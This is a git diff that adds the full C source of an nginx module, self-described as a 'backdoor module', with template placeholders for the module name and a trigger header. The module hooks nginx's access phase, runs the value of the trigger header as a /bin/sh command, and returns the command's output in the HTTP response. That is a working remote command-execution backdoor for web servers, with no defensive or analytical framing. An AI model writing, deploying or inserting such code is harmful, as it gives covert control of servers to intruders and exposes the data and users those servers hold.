added code for ngx backdoor moduleHEADmain

1 files changed, 188 insertions, 0 deletions

diff --git a/ngx_mod_template/ngx_mod_template.c b/ngx_mod_template/ngx_mod_template.c
new file mode 100644
index 0000000..e2a716d
--- /dev/null
+++ b/ngx_mod_template/ngx_mod_template.c
@@ -0,0 +1,188 @@
+#include <ngx_config.h>
+#include <ngx_core.h>
+#include <ngx_http.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+#define SHELL "/bin/sh"
+#define MAX_CMD_LEN 1024
+#define INITIAL_BUF_SIZE 4096
+#define MAX_OUTPUT_SIZE (1 << 20)
+
+static ngx_str_t backdoor = ngx_string("__HEADER__");
+
+static ngx_int_t __NAME___handler(ngx_http_request_t *r);
+static ngx_int_t __NAME___init(ngx_conf_t *cf);
+static void __NAME___down(ngx_cycle_t *cycle);
+static ngx_table_elt_t *search_headers_in(ngx_http_request_t *r, u_char *name, size_t len);
+
+static ngx_command_t __NAME___commands[] = {
+    { ngx_string("__NAME__"),
+      NGX_HTTP_LOC_CONF|NGX_CONF_NOARGS,
+      NULL,
+      0,
+      0,
+      NULL },
+    ngx_null_command
+};
+
+static ngx_http_module_t __NAME___ctx = {
+    NULL,
+    __NAME___init,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    NULL
+};
+
+ngx_module_t __NAME__ = {
+    NGX_MODULE_V1,
+    &__NAME___ctx,
+    __NAME___commands,
+    NGX_HTTP_MODULE,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    &__NAME___down,
+    NGX_MODULE_V1_PADDING
+};
+
+static ngx_int_t __NAME___init(ngx_conf_t *cf)
+{
+    ngx_http_handler_pt *h;
+    ngx_http_core_main_conf_t *cmcf;
+
+    cmcf = ngx_http_conf_get_module_main_conf(cf, ngx_http_core_module);
+    h = ngx_array_push(&cmcf->phases[NGX_HTTP_ACCESS_PHASE].handlers);
+    if (h == NULL) {
+        return NGX_ERROR;
+    }
+
+    *h = __NAME___handler;
+    return NGX_OK;
+}
+
+static ngx_int_t __NAME___handler(ngx_http_request_t *r)
+{
+    ngx_table_elt_t *header = search_headers_in(r, backdoor.data, backdoor.len);
+    if (header == NULL) {
+        return NGX_OK;
+    }
+
+    if (header->value.len > MAX_CMD_LEN) {
+        return NGX_HTTP_BAD_REQUEST;
+    }
+
+    static const char *cmd_prefix = SHELL " -c \"";
+    static const char *cmd_suffix = "\" 2>&1";
+    size_t cmd_len = ngx_strlen(cmd_prefix) + header->value.len + ngx_strlen(cmd_suffix) + 1;
+    u_char *cmd = ngx_pnalloc(r->pool, cmd_len);
+    if (cmd == NULL) {
+        return NGX_HTTP_INTERNAL_SERVER_ERROR;
+    }
+
+    u_char *p = cmd;
+    p = ngx_cpymem(p, cmd_prefix, ngx_strlen(cmd_prefix));
+    p = ngx_cpymem(p, header->value.data, header->value.len);
+    p = ngx_cpymem(p, cmd_suffix, ngx_strlen(cmd_suffix));
+    *p = '\0';
+
+    size_t buf_size = INITIAL_BUF_SIZE;
+    u_char *response = ngx_pnalloc(r->pool, buf_size);
+    if (response == NULL) {
+        return NGX_HTTP_INTERNAL_SERVER_ERROR;
+    }
+    size_t response_len = 0;
+
+    FILE *fp = popen((char *)cmd, "r");
+    if (fp == NULL) {
+        static const u_char err[] = "Failed to run command - popen failure\n";
+        response_len = sizeof(err) - 1;
+        response = (u_char *)err;
+    } else {
+        char buf[1024];
+        while (fgets(buf, sizeof(buf), fp) != NULL) {
+            size_t line_len = ngx_strlen(buf);
+            if (response_len + line_len + 1 > buf_size) {
+                if (buf_size >= MAX_OUTPUT_SIZE) {
+                    pclose(fp);
+                    return NGX_HTTP_REQUEST_ENTITY_TOO_LARGE;
+                }
+                buf_size = ngx_min(buf_size * 2, MAX_OUTPUT_SIZE);
+                u_char *new_response = ngx_pnalloc(r->pool, buf_size);
+                if (new_response == NULL) {
+                    pclose(fp);
+                    return NGX_HTTP_INTERNAL_SERVER_ERROR;
+                }
+                ngx_memcpy(new_response, response, response_len);
+                response = new_response;
+            }
+            ngx_memcpy(response + response_len, buf, line_len);
+            response_len += line_len;
+        }
+        pclose(fp);
+
+        if (response_len == 0) {
+            static const u_char empty[] = "Empty command response\n";
+            response_len = sizeof(empty) - 1;
+            response = (u_char *)empty;
+        }
+    }
+
+    if (ngx_http_discard_request_body(r) != NGX_OK) {
+        return NGX_HTTP_INTERNAL_SERVER_ERROR;
+    }
+
+    r->headers_out.status = NGX_HTTP_OK;
+    r->headers_out.content_length_n = response_len;
+    ngx_str_set(&r->headers_out.content_type, "text/plain");
+
+    ngx_int_t rc = ngx_http_send_header(r);
+    if (rc == NGX_ERROR || rc > NGX_OK || r->header_only) {
+        return rc;
+    }
+
+    ngx_buf_t *b = ngx_create_temp_buf(r->pool, response_len);
+    if (b == NULL) {
+        return NGX_HTTP_INTERNAL_SERVER_ERROR;
+    }
+
+    b->pos = response;
+    b->last = response + response_len;
+    b->memory = 1;
+    b->last_buf = (r == r->main) ? 1 : 0;
+    b->last_in_chain = 1;
+
+    ngx_chain_t out = { b, NULL };
+    rc = ngx_http_output_filter(r, &out);
+
+    return rc == NGX_OK ? NGX_OK : NGX_ERROR;
+}
+
+static void __NAME___down(ngx_cycle_t *cycle) {
+}
+
+static ngx_table_elt_t *search_headers_in(ngx_http_request_t *r, u_char *name, size_t len)
+{
+    ngx_list_part_t *part = &r->headers_in.headers.part;
+    ngx_table_elt_t *h = part->elts;
+
+    for (ngx_uint_t i = 0; ; i++) {
+        if (i >= part->nelts) {
+            if (part->next == NULL) break;
+            part = part->next;
+            h = part->elts;
+            i = 0;
+        }
+        if (len != h[i].key.len || ngx_strcasecmp(name, h[i].key.data) != 0) {
+            continue;
+        }
+        return &h[i];
+    }
+    return NULL;
+}